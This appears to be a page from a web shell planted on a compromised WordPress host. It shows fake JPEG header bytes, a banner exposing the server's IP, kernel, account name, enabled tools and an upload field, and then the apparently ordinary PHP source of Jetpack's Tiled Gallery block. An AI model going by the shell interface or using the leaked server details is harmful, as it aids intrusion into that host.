????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././././proc/self/cwd/wp-content/plugins/jetpack/extensions/blocks/tiled-gallery/ |
Upload File : |
<?php //phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
* Tiled Gallery block.
* Relies on Photon, but can be used even when the module is not active.
*
* @since 6.9.0
*
* @package automattic/jetpack
*/
namespace Automattic\Jetpack\Extensions;
use Automattic\Jetpack\Blocks;
use Automattic\Jetpack\Current_Plan as Jetpack_Plan;
use Automattic\Jetpack\Status;
use Automattic\Jetpack\Status\Host;
use Jetpack;
use Jetpack_Gutenberg;
if ( ! defined( 'ABSPATH' ) ) {
exit( 0 );
}
/**
* Jetpack Tiled Gallery Block class
*
* @since 7.3
*/
class Tiled_Gallery {
/* Values for building srcsets */
const IMG_SRCSET_WIDTH_MAX = 2000;
const IMG_SRCSET_WIDTH_MIN = 600;
const IMG_SRCSET_WIDTH_STEP = 300;
/**
* Register the block
*/
public static function register() {
if (
( defined( 'IS_WPCOM' ) && IS_WPCOM )
|| Jetpack::is_connection_ready()
|| ( new Status() )->is_offline_mode()
) {
Blocks::jetpack_register_block(
__DIR__,
array(
'render_callback' => array( __CLASS__, 'render' ),
'render_email_callback' => array( __CLASS__, 'render_email' ),
)
);
}
}
/**
* Tiled gallery block registration
*
* @param array $attr Array containing the block attributes.
* @param string $content String containing the block content.
*
* @return string
*/
public static function render( $attr, $content ) {
Jetpack_Gutenberg::load_assets_as_required( __DIR__ );
$is_squareish_layout = self::is_squareish_layout( $attr );
// For backward compatibility (ensuring Tiled Galleries using now deprecated versions of the block are not affected).
// See isVIP() in utils/index.js.
$jetpack_plan = Jetpack_Plan::get();
wp_localize_script( 'jetpack-gallery-settings', 'jetpack_plan', array( 'data' => $jetpack_plan['product_slug'] ) );
if ( preg_match_all( '/<img [^>]+>/', $content, $images ) ) {
/**
* This block processes all of the images that are found and builds $find and $replace.
*
* The original img is added to the $find array and the replacement is made and added
* to the $replace array. This is so that the same find and replace operations can be
* made on the entire $content.
*/
$find = array();
$replace = array();
$image_index = 0;
$number_images = count( $images[0] );
foreach ( $images[0] as $image_html ) {
if (
preg_match( '/data-width="([0-9]+)"/', $image_html, $img_width )
&& preg_match( '/data-height="([0-9]+)"/', $image_html, $img_height )
&& preg_match( '/src="([^"]+)"/', $image_html, $img_src )
) {
++$image_index;
// Drop img src query string so it can be used as a base to add photon params
// for the srcset.
$src_parts = explode( '?', $img_src[1], 2 );
$orig_src = $src_parts[0];
$orig_height = absint( $img_height[1] );
$orig_width = absint( $img_width[1] );
// Because URLs are already "photon", the photon function used short-circuits
// before ssl is added. Detect ssl and add is if necessary.
$is_ssl = ! empty( $src_parts[1] ) && str_contains( $src_parts[1], 'ssl=1' );
if ( ! $orig_width || ! $orig_height || ! $orig_src ) {
continue;
}
$srcset_parts = array();
if ( $is_squareish_layout ) {
$min_width = min( self::IMG_SRCSET_WIDTH_MIN, $orig_width, $orig_height );
$max_width = min( self::IMG_SRCSET_WIDTH_MAX, $orig_width, $orig_height );
for ( $w = $min_width; $w <= $max_width; $w = min( $max_width, $w + self::IMG_SRCSET_WIDTH_STEP ) ) {
$srcset_src = add_query_arg(
array(
'resize' => $w . ',' . $w,
'strip' => 'info',
),
$orig_src
);
if ( $is_ssl ) {
$srcset_src = add_query_arg( 'ssl', '1', $srcset_src );
}
$srcset_parts[] = esc_url( $srcset_src ) . ' ' . $w . 'w';
if ( $w >= $max_width ) {
break;
}
}
} else {
$min_width = min( self::IMG_SRCSET_WIDTH_MIN, $orig_width );
$max_width = min( self::IMG_SRCSET_WIDTH_MAX, $orig_width );
for ( $w = $min_width; $w <= $max_width; $w = min( $max_width, $w + self::IMG_SRCSET_WIDTH_STEP ) ) {
$srcset_src = add_query_arg(
array(
'strip' => 'info',
'w' => $w,
),
$orig_src
);
if ( $is_ssl ) {
$srcset_src = add_query_arg( 'ssl', '1', $srcset_src );
}
$srcset_parts[] = esc_url( $srcset_src ) . ' ' . $w . 'w';
if ( $w >= $max_width ) {
break;
}
}
}
$img_element = self::interactive_markup( $image_index, $number_images );
if ( ! empty( $srcset_parts ) ) {
$srcset = 'srcset="' . esc_attr( implode( ',', $srcset_parts ) ) . '"';
$find[] = $image_html;
$replace[] = str_replace( '<img', $img_element . $srcset, $image_html );
}
}
}
if ( ! empty( $find ) ) {
$content = str_replace( $find, $replace, $content );
}
}
/**
* Filter the output of the Tiled Galleries content.
*
* @module tiled-gallery
*
* @since 6.9.0
*
* @param string $content Tiled Gallery block content.
*/
return apply_filters( 'jetpack_tiled_galleries_block_content', $content );
}
/**
* Adds tabindex, role and aria-label markup for images that should be interactive (front-end only).
*
* @param integer $image_index Integer The current image index.
* @param integer $number_images Integer The total number of images.
*/
private static function interactive_markup( $image_index, $number_images ) {
$host = new Host();
$is_module_active = $host->is_wpcom_simple()
? get_option( 'carousel_enable_it' )
: Jetpack::is_module_active( 'carousel' );
if ( $is_module_active ) {
$aria_label_content = sprintf(
/* Translators: %1$d is the current image index, %2$d is the total number of images. */
__( 'Open image %1$d of %2$d in full-screen', 'jetpack' ),
$image_index,
$number_images
);
$img_element = '<img role="button" tabindex="0" aria-label="' . esc_attr( $aria_label_content ) . '"';
} else {
$img_element = '<img ';
}
return $img_element;
}
/**
* Determines whether a Tiled Gallery block uses square or circle images (1:1 ratio)
*
* Layouts are block styles and will be available as `is-style-[LAYOUT]` in the className
* attribute. The default (rectangular) will be omitted.
*
* @param array $attr Attributes key/value array.
* @return boolean True if layout is squareish, otherwise false.
*/
private static function is_squareish_layout( $attr ) {
return isset( $attr['className'] )
&& (
'is-style-square' === $attr['className']
|| 'is-style-circle' === $attr['className']
);
}
/**
* Render tiled gallery block for email.
*
* @since 15.0
*
* @param string $block_content The original block HTML content.
* @param array $parsed_block The parsed block data including attributes.
* @param object $rendering_context Email rendering context.
*
* @return string
*/
public static function render_email( $block_content, array $parsed_block, $rendering_context ) {
// Validate input parameters and required dependencies
if ( ! isset( $parsed_block['attrs'] ) || ! is_array( $parsed_block['attrs'] ) ||
! class_exists( '\Automattic\WooCommerce\EmailEditor\Integrations\Utils\Styles_Helper' ) ||
! class_exists( '\Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper' ) ) {
return '';
}
// Get spacing from email_attrs for better consistency with core blocks
$email_attrs = $parsed_block['email_attrs'] ?? array();
$table_margin_style = '';
if ( ! empty( $email_attrs ) && class_exists( '\WP_Style_Engine' ) ) {
// Get margin for table styling
$table_margin_style = \WP_Style_Engine::compile_css( array_intersect_key( $email_attrs, array_flip( array( 'margin' ) ) ), '' ) ?? '';
}
// Email cell padding
$email_cell_padding = 2; // Cell padding
$attr = $parsed_block['attrs'];
// Determine layout style and columns from attributes (needed for both image processing and layout building)
$layout_info = self::get_layout_style_from_attributes( $attr );
// Process images for email rendering
$images = self::process_tiled_gallery_images_for_email( $attr, $layout_info );
if ( empty( $images ) ) {
return '';
}
// Determine target width from the email layout if available
$target_width = self::get_email_target_width( $rendering_context );
// Build layout content based on style and columns
$grid_content = self::build_email_layout_content( $images, $layout_info, $email_cell_padding, $attr );
// Use Table_Wrapper_Helper for consistent email rendering
$table_style = sprintf( 'width: 100%%; max-width: %dpx; padding: 0; border-collapse: collapse;', $target_width );
if ( ! empty( $table_margin_style ) ) {
$table_style = $table_margin_style . '; ' . $table_style;
} else {
$table_style = 'margin: 16px 0; ' . $table_style;
}
$image_table_attrs = array(
'style' => $table_style,
);
$html = \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_wrapper( $grid_content, $image_table_attrs );
return $html;
}
/**
* Get target width for email rendering.
*
* @param object $rendering_context Email rendering context.
* @return int Target width in pixels.
*/
private static function get_email_target_width( $rendering_context ) {
$target_width = 600; // Default
if ( ! empty( $rendering_context ) && is_object( $rendering_context ) && method_exists( $rendering_context, 'get_layout_width_without_padding' ) ) {
$layout_width_px = $rendering_context->get_layout_width_without_padding();
if ( is_string( $layout_width_px ) ) {
$parsed_width = \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Styles_Helper::parse_value( $layout_width_px );
if ( $parsed_width > 0 ) {
$target_width = $parsed_width;
}
}
}
return $target_width;
}
/**
* Process tiled gallery images for email rendering.
*
* @param array $attr Block attributes containing image data.
* @param array $layout_info Layout information from get_layout_style_from_attributes.
* @return array Processed image data for email rendering.
*/
private static function process_tiled_gallery_images_for_email( $attr, $layout_info ) {
$images = array();
// Determine if this is a squareish layout
$is_squareish = in_array( $layout_info['style'], array( 'square', 'circle' ), true );
// Get images from IDs (primary data source)
if ( ! empty( $attr['ids'] ) && is_array( $attr['ids'] ) ) {
foreach ( $attr['ids'] as $id ) {
// Validate ID is a positive integer and attachment exists
$id = absint( $id );
if ( ! $id || ! wp_attachment_is_image( $id ) ) {
continue;
}
// For square/circle layouts, get a high-quality square crop
if ( $is_squareish ) {
// Start with full size image for better quality when resizing
$image_url = wp_get_attachment_image_url( $id, 'full' );
// If we have Photon/Jetpack image processing, request high-quality square crop
if ( function_exists( 'jetpack_photon_url' ) && $image_url ) {
$image_url = add_query_arg(
array(
'resize' => '1300,1300', // High-quality square crop for email
'crop' => '1',
),
$image_url
);
}
} else {
$image_url = wp_get_attachment_image_url( $id, 'large' );
}
// Sanitize alt text from post meta
$alt_text = get_post_meta( $id, '_wp_attachment_image_alt', true );
$alt_text = sanitize_text_field( $alt_text );
if ( $image_url ) {
$images[] = array(
'url' => $image_url,
'alt' => $alt_text,
'id' => $id,
);
}
}
} elseif ( ! empty( $attr['images'] ) && is_array( $attr['images'] ) ) {
// Fall back to images array if IDs aren't available
foreach ( $attr['images'] as $image_data ) {
if ( ! empty( $image_data['url'] ) ) {
// Validate and sanitize URL
$url = esc_url_raw( $image_data['url'] );
if ( ! $url || ! wp_http_validate_url( $url ) ) {
continue;
}
// Sanitize alt text
$alt_text = ! empty( $image_data['alt'] ) ? sanitize_text_field( $image_data['alt'] ) : '';
// Validate ID if present
$id = ! empty( $image_data['id'] ) ? absint( $image_data['id'] ) : 0;
$images[] = array(
'url' => $url,
'alt' => $alt_text,
'id' => $id,
);
}
}
}
return $images;
}
/**
* Get layout style and columns from block attributes.
*
* @param array $attr Block attributes.
* @return array Array with 'style', 'columns', and 'border_radius' keys.
*/
private static function get_layout_style_from_attributes( $attr ) {
$layout_info = array(
'style' => 'rectangular', // Default to rectangular/mosaic layout
'columns' => 3, // Default to 3 columns
'border_radius' => 0, // Default to no border radius
);
// Get number of columns from attributes with validation
if ( ! empty( $attr['columns'] ) && is_numeric( $attr['columns'] ) ) {
$columns = absint( $attr['columns'] );
// Clamp columns between 1 and 6 for reasonable layouts
$layout_info['columns'] = max( 1, min( 6, $columns ) );
}
// Get border radius from roundedCorners attribute (preferred method)
if ( ! empty( $attr['roundedCorners'] ) && is_numeric( $attr['roundedCorners'] ) ) {
$border_radius_value = absint( $attr['roundedCorners'] );
// Clamp value between 0 and 20
$layout_info['border_radius'] = max( 0, min( 20, $border_radius_value ) );
}
// Get layout style and border radius from className
if ( ! empty( $attr['className'] ) ) {
if ( str_contains( $attr['className'], 'is-style-square' ) ) {
$layout_info['style'] = 'square';
} elseif ( str_contains( $attr['className'], 'is-style-circle' ) ) {
$layout_info['style'] = 'circle';
} elseif ( str_contains( $attr['className'], 'is-style-columns' ) ) {
$layout_info['style'] = 'columns';
}
// Extract border radius from has-rounded-corners-{value} class (fallback method)
if ( $layout_info['border_radius'] === 0 && preg_match( '/has-rounded-corners-(\d+)/', $attr['className'], $matches ) ) {
$border_radius_value = absint( $matches[1] );
// Clamp value between 0 and 20
$layout_info['border_radius'] = max( 0, min( 20, $border_radius_value ) );
}
}
return $layout_info;
}
/**
* Build email layout content based on layout style and columns.
*
* @param array $images Array of image data.
* @param array $layout_info Array with 'style' and 'columns' keys.
* @param int $cell_padding Cell padding.
* @param array $attr Block attributes.
* @return string HTML content.
*/
private static function build_email_layout_content( $images, $layout_info, $cell_padding, $attr ) {
$layout_style = $layout_info['style'];
$columns = $layout_info['columns'];
$border_radius = $layout_info['border_radius'];
switch ( $layout_style ) {
case 'square':
return self::build_square_layout_content( $images, $cell_padding, $columns, 'square', $border_radius, $attr );
case 'circle':
return self::build_square_layout_content( $images, $cell_padding, $columns, 'circle', $border_radius, $attr );
case 'columns':
return self::build_columns_layout_content( $images, $cell_padding, $columns, $border_radius, $attr );
case 'rectangular':
default:
return self::build_mosaic_layout_content( $images, $cell_padding, $border_radius, $attr );
}
}
/**
* Build square/circle layout content.
*
* @param array $images Array of image data.
* @param int $cell_padding Cell padding.
* @param int $columns Number of columns for the layout.
* @param string $style Layout style (square or circle).
* @param int $border_radius Border radius value (0-20).
* @param array $attr Block attributes.
* @return string HTML content.
*/
private static function build_square_layout_content( $images, $cell_padding, $columns, $style = 'square', $border_radius = 0, $attr = array() ) {
$content_parts = array();
// Create rows of images with hierarchical chunks for square/circle layouts
$image_chunks = self::create_hierarchical_chunks( $images, $columns );
$border_radius_style = self::generate_border_radius_style( $style, $border_radius );
foreach ( $image_chunks as $row_images ) {
$images_in_row = count( $row_images );
$cell_width_percent = ( 100 / $images_in_row );
// Build table cells for this row
$row_cells = '';
foreach ( $row_images as $image ) {
// Calculate cell attributes with consistent padding
$cell_attrs = array(
'style' => sprintf(
'width: %s%%; padding: %dpx; vertical-align: top; text-align: center;',
$cell_width_percent,
$cell_padding
),
);
$image_styles = self::generate_image_styles( false );
$cell_content = self::generate_image_html( $image, $image_styles, $border_radius_style, $attr );
$row_cells .= \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_cell(
$cell_content,
$cell_attrs
);
}
// Use Table_Wrapper_Helper for email-compatible table rendering
$table_attrs = array(
'style' => 'width: 100%; border-collapse: collapse;',
);
$content_parts[] = \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_wrapper(
$row_cells,
$table_attrs
);
}
// Use Table_Wrapper_Helper for consistent email rendering
$wrapper_attrs = array(
'style' => 'width: 100%; border-collapse: collapse;',
);
return \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_wrapper(
implode( '', $content_parts ),
$wrapper_attrs
);
}
/**
* Build columns layout content using mosaic logic organized into columns.
*
* @param array $images Array of image data.
* @param int $cell_padding Cell padding.
* @param int $columns Number of columns for the layout.
* @param int $border_radius Border radius value (0-20).
* @param array $attr Block attributes.
* @return string HTML content.
*/
private static function build_columns_layout_content( $images, $cell_padding, $columns, $border_radius = 0, $attr = array() ) {
$content_parts = array();
$border_radius_style = self::generate_border_radius_style( '', $border_radius );
// Distribute images across columns using round-robin approach for better balance
$column_arrays = array_fill( 0, $columns, array() );
foreach ( $images as $index => $image ) {
$column_index = $index % $columns;
$column_arrays[ $column_index ][] = $image;
}
// Build table cells for columns layout
$row_cells = '';
foreach ( $column_arrays as $column_images ) {
if ( empty( $column_images ) ) {
// Add empty cell for balance
$cell_attrs = array(
'style' => sprintf(
'width: %s%%; padding: %dpx; vertical-align: top;',
( 100 / $columns ),
$cell_padding
),
);
$row_cells .= \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_cell(
'',
$cell_attrs
);
continue;
}
// Calculate cell attributes
$cell_width_percent = ( 100 / $columns );
$cell_attrs = array(
'style' => sprintf(
'width: %s%%; padding: %dpx; vertical-align: top;',
$cell_width_percent,
$cell_padding
),
);
// Generate mosaic-style groupings within this column
$column_rows = self::generate_column_mosaic_rows( $column_images );
$cell_content = '';
foreach ( $column_rows as $row_index => $row_images ) {
foreach ( $row_images as $image ) {
$image_styles = self::generate_image_styles( false );
// Add top margin to all images except the first one in the column
if ( $row_index > 0 || $cell_content !== '' ) {
$image_styles .= ' margin-top: ' . ( $cell_padding * 2 ) . 'px;';
}
$cell_content .= self::generate_image_html( $image, $image_styles, $border_radius_style, $attr );
}
}
$row_cells .= \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_cell(
$cell_content,
$cell_attrs
);
}
// Use Table_Wrapper_Helper for email-compatible table rendering
$table_attrs = array(
'style' => 'width: 100%; border-collapse: collapse;',
);
$content_parts[] = \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_wrapper(
$row_cells,
$table_attrs
);
// Use Table_Wrapper_Helper for consistent email rendering
$wrapper_attrs = array(
'style' => 'width: 100%; border-collapse: collapse;',
);
return \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_wrapper(
implode( '', $content_parts ),
$wrapper_attrs
);
}
/**
* Build mosaic layout content with flexible row/column structure.
*
* @param array $images Array of image data.
* @param int $cell_padding Cell padding.
* @param int $border_radius Border radius value (0-20).
* @param array $attr Block attributes.
* @return string HTML content.
*/
private static function build_mosaic_layout_content( $images, $cell_padding, $border_radius = 0, $attr = array() ) {
$border_radius_style = self::generate_border_radius_style( '', $border_radius );
// Generate mosaic layout rows
$rows = self::generate_mosaic_rows( $images );
// Determine the maximum number of columns to ensure consistent layout
$max_columns = 0;
foreach ( $rows as $row ) {
$max_columns = max( $max_columns, count( $row ) );
}
// Build each row as a separate table to match flexbox behavior
$content_parts = array();
foreach ( $rows as $row ) {
$images_in_row = count( $row );
// Calculate width for each cell in this row (like flexbox)
$cell_width_percent = ( 100 / $images_in_row );
// Build table cells for this row
$row_cells = '';
foreach ( $row as $image ) {
$cell_style = sprintf(
'width: %s%%; padding: %dpx; vertical-align: top; text-align: center;',
$cell_width_percent,
$cell_padding
);
// Set consistent height for all images in this row to ensure alignment
// Use progressive enhancement: object-fit for supported clients, natural layout for others
$image_styles = self::generate_image_styles( true );
$cell_content = self::generate_image_html( $image, $image_styles, $border_radius_style, $attr );
$row_cells .= sprintf(
'<td style="%s">%s</td>',
esc_attr( $cell_style ),
$cell_content
);
}
// Create a separate table for each row with flexible height for alignment
$row_table = sprintf(
'<table role="presentation" style="width: 100%%; border-collapse: collapse; table-layout: fixed;"><tr>%s</tr></table>',
$row_cells
);
$content_parts[] = $row_table;
}
// Use Table_Wrapper_Helper for the main container
$table_attrs = array(
'style' => 'width: 100%; border-collapse: collapse;',
);
return \Automattic\WooCommerce\EmailEditor\Integrations\Utils\Table_Wrapper_Helper::render_table_wrapper(
implode( '', $content_parts ),
$table_attrs
);
}
/**
* Generate mosaic layout rows based on image count.
*
* @param array $images Array of image data.
* @return array Array of rows, each containing images.
*/
private static function generate_mosaic_rows( $images ) {
$rows = array();
$image_count = count( $images );
// More sophisticated mosaic algorithm based on image count
if ( $image_count <= 3 ) {
// For 3 or fewer images, use simple layout
$rows[] = $images;
} else {
// For more images, create varied row patterns
$patterns = array(
4 => array( 2, 2 ), // 4 images: 2 + 2
5 => array( 2, 3 ), // 5 images: 2 + 3
6 => array( 3, 3 ), // 6 images: 3 + 3
7 => array( 3, 2, 2 ), // 7 images: 3 + 2 + 2
8 => array( 3, 3, 2 ), // 8 images: 3 + 3 + 2
9 => array( 3, 3, 3 ), // 9 images: 3 + 3 + 3
);
if ( isset( $patterns[ $image_count ] ) ) {
// Use predefined pattern for 4-9 images
$pattern = $patterns[ $image_count ];
$image_index = 0;
foreach ( $pattern as $images_in_row ) {
$row = array();
for ( $i = 0; $i < $images_in_row; $i++ ) {
$row[] = $images[ $image_index ];
++$image_index;
}
$rows[] = $row;
}
} else {
// For 10+ images, create rows of 3 with remainder handling
$full_rows = intval( $image_count / 3 );
$remainder = $image_count % 3;
$image_index = 0;
// Create full rows of 3
for ( $row = 0; $row < $full_rows; $row++ ) {
$rows[] = array(
$images[ $image_index ],
$images[ $image_index + 1 ],
$images[ $image_index + 2 ],
);
$image_index += 3;
}
// Handle remainder
if ( $remainder > 0 ) {
$remaining = array_slice( $images, $image_index );
$rows[] = $remaining;
}
}
}
return $rows;
}
/**
* Generate mosaic-style rows within a single column for columns layout.
*
* @param array $images Array of image data for this column.
* @return array Array of rows, each containing 1-2 images for variety.
*/
private static function generate_column_mosaic_rows( $images ) {
$rows = array();
$image_count = count( $images );
if ( $image_count <= 2 ) {
// For 2 or fewer images, each gets its own row
foreach ( $images as $image ) {
$rows[] = array( $image );
}
} else {
// Create varied patterns: mix of single and paired images
$image_index = 0;
while ( $image_index < $image_count ) {
$remaining = $image_count - $image_index;
if ( $remaining === 1 ) {
// Last image - single row
$rows[] = array( $images[ $image_index ] );
++$image_index;
} elseif ( $remaining === 3 ) {
// 3 remaining - do 1 + 2 for better balance
$rows[] = array( $images[ $image_index ] );
++$image_index;
$rows[] = array( $images[ $image_index ], $images[ $image_index + 1 ] );
$image_index += 2;
} else {
// 2 or more remaining - alternate between single and pairs
$use_pair = ( count( $rows ) % 2 === 1 ); // Alternate pattern
if ( $use_pair && $remaining >= 2 ) {
// Create a pair
$rows[] = array( $images[ $image_index ], $images[ $image_index + 1 ] );
$image_index += 2;
} else {
// Single image
$rows[] = array( $images[ $image_index ] );
++$image_index;
}
}
}
}
return $rows;
}
/**
* Generate border radius style based on layout style and border radius value.
*
* @param string $style Layout style (square, circle, etc.).
* @param int $border_radius Border radius value.
* @return string CSS border-radius style.
*/
private static function generate_border_radius_style( $style, $border_radius ) {
if ( 'circle' === $style ) {
return 'border-radius:50%;';
} elseif ( $border_radius > 0 ) {
return 'border-radius:' . $border_radius . 'px;';
}
return '';
}
/**
* Generate image styles for email rendering.
*
* @param bool $use_fixed_height Whether to use fixed height with object-fit.
* @return string CSS style string.
*/
private static function generate_image_styles( $use_fixed_height = false ) {
$base_styles = 'margin: 0; width: 100%; max-width: 100%; display: block;';
if ( $use_fixed_height ) {
return $base_styles . ' height: 200px; object-fit: cover; object-position: center;';
}
return $base_styles . ' height: auto;';
}
/**
* Generate image HTML with consistent styling.
*
* @param array $image Image data array.
* @param string $additional_styles Additional CSS styles.
* @param string $border_radius_style Border radius CSS.
* @param array $attr Block attributes (optional, for link processing).
* @return string Image HTML.
*/
private static function generate_image_html( $image, $additional_styles = '', $border_radius_style = '', $attr = array() ) {
$base_styles = 'border:none;background-color:#0000001a;display:block;height:auto;max-width:100%;padding:0;';
$combined_styles = $base_styles . $additional_styles . $border_radius_style;
$img_html = sprintf(
'<img alt="%s" src="%s" style="%s" />',
esc_attr( $image['alt'] ),
esc_url( $image['url'] ),
$combined_styles
);
// Handle link settings for email
$link_to = ! empty( $attr['linkTo'] ) ? $attr['linkTo'] : 'none';
$href = self::get_image_link_href( $image, $attr, $link_to );
if ( ! empty( $href ) ) {
return sprintf( '<a href="%s">%s</a>', esc_url( $href ), $img_html );
}
return $img_html;
}
/**
* Get the href for an image based on link settings (used for email rendering).
* Excludes custom links which email clients will replace with the image.
*
* @since 15.0
*
* @param array $image Image data array.
* @param array $attr Block attributes.
* @param string $link_to Link setting.
* @return string The href URL or empty string.
*/
private static function get_image_link_href( $image, $attr, $link_to ) {
switch ( $link_to ) {
case 'media':
return ! empty( $image['url'] ) ? $image['url'] : '';
case 'attachment':
// For email, we need to generate the attachment page URL from the image ID
if ( ! empty( $image['id'] ) ) {
$attachment_url = get_permalink( $image['id'] );
return $attachment_url ? $attachment_url : '';
}
return '';
default:
return '';
}
}
/**
* Create hierarchical chunks for square/circle layouts with larger items first.
*
* @param array $images Array of image data.
* @param int $columns Number of columns for the layout.
* @return array Array of rows with different sized chunks.
*/
private static function create_hierarchical_chunks( $images, $columns ) {
$image_count = count( $images );
$chunks = array();
if ( $image_count <= $columns ) {
// For column count or fewer, single row
$chunks[] = $images;
} else {
// Calculate remainder when dividing by columns
$remainder = $image_count % $columns;
$start_index = 0;
// Handle all remainder cases to create proper hierarchy
if ( $remainder > 0 ) {
// Create a row with the remainder images (larger items first)
$chunks[] = array_slice( $images, 0, $remainder );
$start_index = $remainder;
}
// If remainder === 0, start_index stays 0
// Rest in groups of $columns
$remaining = array_slice( $images, $start_index );
$remaining_chunks = array_chunk( $remaining, $columns );
$chunks = array_merge( $chunks, $remaining_chunks );
}
return $chunks;
}
}
add_action( 'init', array( Tiled_Gallery::class, 'register' ) );